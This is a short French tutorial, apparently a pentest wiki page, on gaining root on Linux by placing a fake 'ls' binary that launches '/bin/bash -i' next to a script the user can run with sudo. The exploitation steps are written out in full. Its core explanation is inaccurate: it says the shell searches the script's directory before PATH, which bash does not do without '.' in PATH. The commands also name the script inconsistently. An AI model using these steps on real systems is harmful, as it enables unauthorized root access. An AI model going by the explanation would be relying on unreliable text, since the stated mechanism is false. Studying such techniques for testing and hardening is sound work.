# [Privesc/Linux] Chemin de binaire incomplet

## Introduction

Lorsqu'un binaire ou un programme est utilisé dans un script mais que le chemin de celui-ci n'est pas indiqué de manière complète (ex : **ls** et non **/usr/bin/ls**), cela signifie que le shell va faire utiliser la variable d'environnement PATH pour résoudre le chemin complet du binaire.

Toutefois, avant d'effectuer cette résolution, le shell va rechercher le binaire dans le répertoire courant du script et l'utilisera en priorité par rapport au binaire indiqué dans le path.

Cela signifie qu'une montée en privilège sera possible dans le cas où un script est exécuté avec des privilèges et que celui-ci utilise un programme sans fournir le chemin complet.

## Exploitation

Prenons l'exemple suivant d'un script **wireguard\_confs.sh** qui serait exécutable en root grâce à sudo par notre utilisateur :

```bash
#!/bin/bash
# Print all wireguard confs

ls /etc/wireguard/
```

Il suffirait de créer un faux binaire ls dans le même dossier que le script précédent :

```bash
nano ls
```

```bash
#!/bin/bash

/bin/bash -i
```

```bash
chmod +x ls
```

Et la magie opère lorsqu'on relance le script :

```bash
./wireguard_confs
```

<p class="callout success">Vous devriez obtenir un shell root.</p>